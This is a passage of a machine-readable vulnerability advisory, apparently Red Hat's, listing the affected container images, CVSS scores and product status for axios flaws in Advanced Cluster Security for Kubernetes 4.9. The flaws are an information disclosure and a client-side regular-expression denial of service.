"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.0,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure due to prototype pollution vulnerability"
},
{
"cve": "CVE-2026-44496",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"discovery_date": "2026-06-11T17:01:15.856386+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487943"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in Axios can lead to a client-side Denial of Service. An attacker capable of influencing the XSRF cookie name within a browser environment could trigger excessive regular expression processing, causing the affected browser tab to freeze and degrade user availability. This issue specifically impacts browser-based applications and does not affect Node.js HTTP adapter usage, React Native, or web workers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
